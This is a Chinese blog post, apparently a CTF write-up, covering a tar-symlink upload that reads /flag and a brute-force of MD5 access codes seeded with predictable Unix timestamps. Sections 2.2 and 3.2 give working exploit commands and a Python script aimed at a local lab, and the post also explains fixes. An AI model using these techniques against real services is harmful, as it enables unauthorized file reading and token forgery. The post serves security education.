news 2026/9/8 16:36:06

CTF实战复盘:符号链接文件上传与可预测时间种子漏洞利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF实战复盘:符号链接文件上传与可预测时间种子漏洞利用

周六比完的半决赛,回来之后我没有急着整理截图,而是把 MediaDrive 和 easy_time 这两道题重新在本机跑了一遍。很多人觉得“复现”就是照着别人的 writeup 敲几个 curl,把 flag 重新打出来一遍。我不太认同这种复现方式,真正有价值的复现是还原题目背后的漏洞形成原因:为什么这个点会出问题、防御方在哪里漏了一步、如果换一个防御姿势是否还能打进去。这两道题刚好代表了两个非常典型的信任边界信任错误,一个是“文件路径”上的,一个是“时间”上的。

如果你以后要参加类似线下赛,或者想在靶场里练手,这篇复盘应该能给你一些能落地的思路。我会尽量把分析过程、踩坑点和最终的复现命令都写清楚,少讲空话。

1. 复现这两道题之前,先确定环境和依赖

1.1 两道题的考点定位

MediaDrive 从名字上看像是媒体驱动类漏洞,很多人第一反应是 PWN 或者内核驱动题。实际进到容器里一看,发现它是一个带媒体文件上传、转存、下载功能的 Web 服务。这类题目在 CTF 里经常被归入 Web,但它考的不是 SQL 注入那种常规漏洞,而是“上传文件之后,服务端对文件内容的信任半径到底应该画在哪”。

easy_time 则明显和“时间”有关。半决赛现场容易踩的坑是把它当成一个纯密码学题目,去找什么强随机数、签名算法漏洞,结果绕了一圈。认真看它的逻辑后会发现,真正的突破点在于服务端用了可预测的时间参数去做签名种子,导致密钥或者 token 可以在非常小的枚举空间里被还原。

我整理了一张简单的对照表,方便你快速理解这两题在复现时需要关注什么:

题目入口特点实际考点复现难度
MediaDrive媒体文件上传和下载接口压缩包解压后的符号链接处理
easy_time返回时间戳、验证码等接口可预测时间种子导致的伪造绕过中偏低

1.2 复现环境准备

我做复现时没有直接用主办方原封不动的容器,而是先做了两件事:把现场导出的镜像文件拉到本地,再在隔离的 docker 网络里启动一份等价靶机。下面命令是通用的:

docker save -o mediadrive.tar <original_image_name> mkdir -p media_rootfs sudo tar -xf mediadrive.tar -C media_rootfs

为什么要先导出镜像?因为线下赛的动态靶场往往会在每个队伍身后拉起多个实例,容器里有些路径会动态变化,如果只凭 wp 里的 URL 路径去复现,大概率会因为目录差异失败。先把容器完整导出来,才能看清它的启动命令、挂载目录和 flag 文件位置。

另外一个经验是先检查 Dockerfile 或镜像元数据,不要急着看代码:

docker history <image_name> --no-trunc docker inspect <image_name> --format '{{json .Mounts}}'

这些信息能告诉你容器启动时是不是挂载了额外目录,入口进程是不是被 supervisor 包裹。MediaDrive 和 easy_time 在复现时卡住我的地方,都跟“实际运行目录和源码目录不一致”有关。先解决环境问题,后面分析漏洞才不会做无用功。

2. MediaDrive 复现:压缩包就是天然的“信任边界”突破口

2.1 先看业务链路

MediaDrive 提供的核心功能是媒体文件入库和下载。它的调用关系很清楚:

  1. 用户通过 POST 接口上传一个媒体文件。
  2. 服务端根据文件扩展名判断类型。
  3. 如果是单个媒体文件,直接进入存储目录。
  4. 如果是压缩包格式,服务端会解压并逐个扫描内部文件,提取元数据和缩略图。
  5. 下载接口根据数据库里保存的相对路径读取文件并返回。

问题出在第 4 步。大多数人在复现时会下意识去翻download函数,先找路径穿越,比如能不能用../../flag去绕过目录。这就把简单题做复杂了。

2.2 真正的漏洞点:解压后的符号链接被保留

这个服务在解压 tar 和 zip 时,只检查了最外层 HTTP 上传文件的扩展名,没有对压缩包内部条目做安全校验。尤其关键的是,它没检查内部文件是不是符号链接。

我当时写了一个验证脚本。先在本地构造一个指向/flag的符号链接,再用 tar 打包上传:

mkdir -p exp_dir ln -s /flag exp_dir/poc tar -cf poc.tar -C exp_dir poc

然后直接把 poc.tar 上传到题目接口:

curl -X POST -F 'file=@poc.tar' http://127.0.0.1:8080/api/media/upload

服务端返回了内部文件的 ID,我再用下载接口去访问这个文件:

curl -L http://127.0.0.1:8080/api/media/download?id=<returned_id>

返回内容就是/flag的内容。原因在于上传时符号链接被完整保留在存储目录里,下载时服务端拿着数据库里的相对路径直接open()读取文件,而open()在解析路径时会跟随符号链接,最终指向了容器外的路径。

这里有个容易被忽略的细节:你直接上传一个符号链接文件在 HTTP 场景下是不太好操作的,因为 multipart 表单上传的文件内容是一个普通文件,不会保留符号链接属性。但如果你把它塞进 tar 或者 zip,解压逻辑就会按归档文件里的条目去创建真实文件,于是符号链接属性得以保留。

2.3 为什么路径穿越防护没能拦住

很多复现 writeup 里会把这道题写成一个简单的路径穿越,其实不完全准确。路径穿越类漏洞的根源是用户输入了包含../的字符串,而服务端没有做归一化。MediaDrive 的问题更隐蔽,用户上传的并不是一个路径字符串,而是一个文件系统对象。服务端在处理这个对象时,没有意识到它会在服务器上“创建出”一个新的路径语义。

如果防御方只是在下载接口做了前缀校验,比如判断最终路径是否以MEDIA_ROOT开头,这类符号链接依然能绕过。因为前缀校验比较的是路径字符串,而符号链接把它指向了另一个绝对路径,字符串形式上仍然在允许目录内。

一个常见的假修复写法是这样的:

def safe_download(file_name): path = os.path.join(MEDIA_ROOT, file_name) path = os.path.abspath(path) if not path.startswith(MEDIA_ROOT): return forbidden() return open(path).read()

看起来好像没问题,但若file_name是数据库里记录的一个符号链接文件名,abspath只会做...的清理,不会展开符号链接。最后open(path)还是会把符号链接当作跳板,读到/flag

真正有效的防御需要在两个层面补:

  1. 解压归档文件时,拒绝任何符号链接条目。
  2. 下载读取时,使用O_NOFOLLOW标识打开文件,避免跟随符号链接。

Python 里可以这样检查 tar 包:

import tarfile with tarfile.open("poc.tar") as tar: for member in tar.getmembers(): if member.issym() or member.islnk(): raise ValueError("symlink is not allowed") tar.extractall(path=MEDIA_ROOT)

如果实际环境需要兼容一些合法符号链接,至少也要在下载侧限定真实路径:

import os real_path = os.path.realpath(os.path.join(MEDIA_ROOT, file_name)) if not real_path.startswith(os.path.realpath(MEDIA_ROOT)): return forbidden()

2.4 MediaDrive 复现过程中的几个坑

第一个坑是 tar 包格式。如果你在 Windows 上用系统自带的压缩功能打包,出来的 zip 可能不包含符号链接属性,复现自然失效。最好在 Linux 或者 macOS 上打包,并且确认压缩包内部用tar -tvf能看到poc -> /flag这样的显示。

第二个坑是下载接口的重定向。部分实现里下载接口先返回一个临时的 CDN 地址,再用 302 跳转,如果 curl 不加-L就会只看到跳转响应,误以为利用失败。

第三个坑是数据库对文件名的处理。有的服务会把原始文件名改成 UUID,所以你不要只上传一个符号链接文件,还要确保该文件的文件名或者 ID 被记录到数据库,这样下载时才能取到。复现时先观察上传接口返回的 JSON 中是否有file_id字段,如果有就优先用 ID 发起下载请求。

3. easy_time 复现:把“时间”变成密钥的伪随机陷阱

3.1 从服务行为反推核心逻辑

easy_time 这道题在现场没有直接提供源码,我只能通过接口行为去猜。它启动后暴露了三个接口:

  • 获取当前服务器时间。
  • 获取一个“临时通行码”。
  • 用通行码换取管理员才能看到的 flag。

一开始我以为是需要在极短时间内抢时间戳,于是写了很多并发的脚本去碰运气。后来认真看返回数据,发现通行码并不是当前秒的简单哈希,而是与某一小段时间窗口内的种子有关。

为了把题目的核心漏洞还原得更容易看,我写了一个最小白话版本:

import hashlib import time import requests def generate_code(ts): raw = f"{ts}:easy_time_salt".encode() return hashlib.md5(raw).hexdigest()

正常情况下,客户端想要拿到通行码,必须知道服务器生成时使用的时间戳。如果这个时间戳不是毫秒级随机,而是用秒级 Unix 时间,那爆破空间就会小很多。

关键是服务端还会在响应里附带当前时间,这就相当于把随机种子暴露了一大半。你只需要做一个窗口枚举,把服务器当前时间的前后几十秒全部跑一遍。

3.2 绕过签名与重放攻击

我的复现脚本思路很简单。先正常请求一次时间接口,拿到服务器时间server_ts,然后通过 HTTP 响应头的 Date 字段再次校准,排除网络延迟带来的时间偏移。

import hashlib import requests import time target = "http://127.0.0.1:8080" flag_url = target + "/api/flag" def make_code(ts: int) -> str: return hashlib.md5(f"{ts}:easy_time_salt".encode()).hexdigest() def try_offset(offset): req_ts = int(time.time()) + offset code = make_code(req_ts) r = requests.get(flag_url, params={"code": code}, timeout=2) return r.status_code, r.text for offset in range(-30, 31): status, body = try_offset(offset) if status == 200 and "flag" in body.lower(): print("[+] offset =", offset) print(body) break

为什么优先枚举前后 30 秒?因为网络和容器调用的延迟通常不会超过几秒,加上服务端时钟和本机时钟会有一定偏移,前后各 30 秒已经足够覆盖大多数场景。如果题目把时间因子精确到毫秒,爆破空间会大一些,但也不难,只是从 60 种变成 60000 种,用多线程一样可以秒级跑完。

3.3 这个漏洞给我们什么提醒

easy_time 的本质不是算法复杂,而是开发者错误地把“时间”当成了不可预测的随机源。现实中很多系统也犯同样的问题:重置密码的验证码种子用time(),签名密钥直接用启动时间,或者把时间戳放入序列化数据但不绑定签名。

一旦时间因子参与安全校验,建议至少做三件事:

  • 使用加密安全的随机数生成器,而不是时间或random模块。
  • 签名和防重放字段应该使用不可预测的一次性随机数,同时绑定业务 ID 和过期时间。
  • 时间戳只能作为过期判断条件,不能作为密钥或种子本身。

复现 easy_time 时,我印象最深的一点是:题目敢叫这个名,可能就是在暗示开发者真的会把 time 直接拿来做安全参数。比赛时候如果能把“它到底生成了什么种子”这一个问题想清楚,这道题基本上属于白给。

4. 实际复现中的问题与排查技巧实录

4.1 题目复现时的常见问题清单

我把这次复现两台机器过程中遇到的问题整理成一个速查表,方便以后遇到类似环境直接对照:

问题现象可能原因排查与解决
MediaDrive 上传后 ID 存在,但下载返回 404数据库中的文件路径被二次拼接,需要观察下载接口 URL 结构对比上传响应和下载请求的路径字段,必要时用浏览器手动构造一次
符号链接文件上传后变成了普通空文件打包时没有保留链接属性或 Windows 下打包使用 Linux 打包,并用tar -tvf检查
easy_time 偏移枚举全部失败服务端时间精确到毫秒或种子加了启动随机值抓取多次时间接口计算延迟,扩大到毫秒级枚举,或检查 token 里是否包含 base64 时间
复现时本地容器和现场 flag 路径不一致现场动态环境使用随机挂载路径查看docker inspect和启动脚本,手动修改为/flag
下载接口总是返回 302文件走了临时重定向地址curl 加-L,或读取响应头中的 Location 再请求一次

4.2 时间窗口类题目最容易踩的坑

对于 easy_time 这类题目,我最开始用本机时间直接跑,结果失败了很多次。原因是本地宿主机时间是 CST 的东八区,而容器内部使用 UTC,两者相差 8 小时。换算成秒偏差很大,如果不校准,无论怎么枚举都找不到正确的时间戳。

校准方法很简单,看 HTTP 响应头里的Date字段,这个字段统一是 GMT 时间。如果你拿到服务器返回的时间,尽量先把它转成 Unix 时间戳再参与枚举,不要直接用本机当前时间。如果想做得更稳,可以在跑枚举前连续请求 3 次时间接口,取中位数作为基准,把网络抖动降到最低。

另外要注意,很多靶场服务不是单进程,而是用 gunicorn 或者 uwsgi 起了多个 worker。如果每个 worker 启动时生成一次随机种子,那不同 worker 对应的时间可能不同。碰到这种情况,就要多发几次请求,观察响应里的 token 是否会出现两种看似不同的模式,然后用多个时间窗口分别枚举。

4.3 复现结束后如何验证自己的判断

复现不等于看到 flag 就结束。我建议你多做一步:在靶机上临时修改漏洞代码,比如把 tar 解压逻辑里的符号链接检查加上,或者把时间种子改成加密安全的随机源,再重新跑一遍攻击脚本。如果攻击脚本失效,说明你的漏洞定位是准的。

这一步虽然看起来有点像做实验,实际上非常有用。它能帮你确认之前构造的攻击真的是命中在漏洞点上,而不是歪打正着靠一个错误环境拿到了结果。我在复现 MediaDrive 时,最开始以为利用的是路径穿越,后来把符号链接从 tar 包里单独拿出来直接上传,发现并不能触发,这才确认关键点是“归档文件解压时保留了符号链接”。

5. 一点个人经验

这两道题放在半决赛里,多少有点考察选手“能不能快速把不可信数据隔离出来”的意思。MediaDrive 提醒我,所有涉及归档文件解压的功能都必须在代码层面重新审视一遍,不能只靠文件名后缀判断安全。easy_time 则提醒我,安全随机数的使用不是“只要看起来随机就行”,时间、进程 ID、内存地址这类可观测信息一旦进入密钥生成链条,往往就意味着可预测。

如果你只是照着别人的 wp 复现,可能十分钟就打完了。但如果你愿意把每个防御绕过点拆出来,自己动手写一个最小复现环境,再尝试加固和验证,那收获会比单纯看 wp 多得多。赛后我保留了两套完整的本地靶场配置和攻击脚本,后续做文件上传治理和弱随机数代码审计时,它们都是很好的测试样例。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/8 16:35:52

智慧场馆解决方案小程序开发全流程实战指南

智慧场馆解决方案小程序开发全流程实战指南 当下传统场馆的运营管理正面临信息化升级的刚性需求。无论是综合体育馆、游泳馆还是运动培训中心&#xff0c;一套完整的智慧场馆解决方案小程序开发&#xff0c;能够有效整合场地预约、会员管理、课程排期、设备控制等前后端业务&am…

作者头像 李华
网站建设 2026/9/8 16:33:36

书霸AI文献综述清单:从检索到成稿

书霸AI官网&#xff1a;www.shubaai.com 微信公众号搜一搜&#xff1a;书霸AI写作写文献综述&#xff0c;难点往往不只是“写得长”&#xff0c;而是要把分散的研究成果整理成一条清晰的学术线索&#xff1a;谁提出了什么观点&#xff0c;研究走到了哪一步&#xff0c;还留下了…

作者头像 李华
网站建设 2026/9/8 16:32:55

GitNexus架构解析:如何为AI代码变更加上安全护栏

1. 项目概述 1.1 先聊一个扎心的场景 最近小半年&#xff0c;我身边越来越多同事开始让AI Agent直接改代码&#xff0c;Git提交记录里“AI: refactor xxx”、“AI: fix bug”这类信息肉眼可见地变多。但伴随而来的是一系列让人血压升高的时刻&#xff1a;早上来上班发现昨晚AI…

作者头像 李华
网站建设 2026/9/8 16:31:07

新能源车辆车型大全API:从品牌到车系再到车型配置

一、车型数据的特点汽车行业的数据有一个天然的结构特征——它是一个树状的层级体系。一辆车的身份不是单一维度&#xff0c;而是由多个层级叠加定义的&#xff1a;品牌&#xff08;Brand&#xff09;└── 车系&#xff08;Series&#xff09;└── 具体车型&#xff08;Mod…

作者头像 李华
网站建设 2026/9/8 16:30:45

汇率查询接口全景指南:币种列表、实时汇率、单币种全汇率、银行牌价

一、汇率接口全景汇率查询 API 通常提供四个子接口&#xff0c;覆盖从币种枚举到银行牌价的完整场景&#xff1a;接口路径功能所有货币种类列表/list获取系统支持的所有币种代码和名称实时汇率查询换算/index指定两种货币和金额&#xff0c;实时换算单个货币汇率列表/single一次…

作者头像 李华
网站建设 2026/9/8 16:30:22

ChatGPT生成文件全攻略:从对话到可下载Excel的实操指南

我经常看到这样的截图&#xff1a;一个人让 ChatGPT 生成了带图表的 Excel&#xff0c;另一个人对着同一个模型说“帮我做个报表”&#xff0c;只得到了一大段文字。为什么同样是 ChatGPT&#xff0c;差别这么大&#xff1f;答案是&#xff0c;后面的朋友大概率没打开那个让 Ch…

作者头像 李华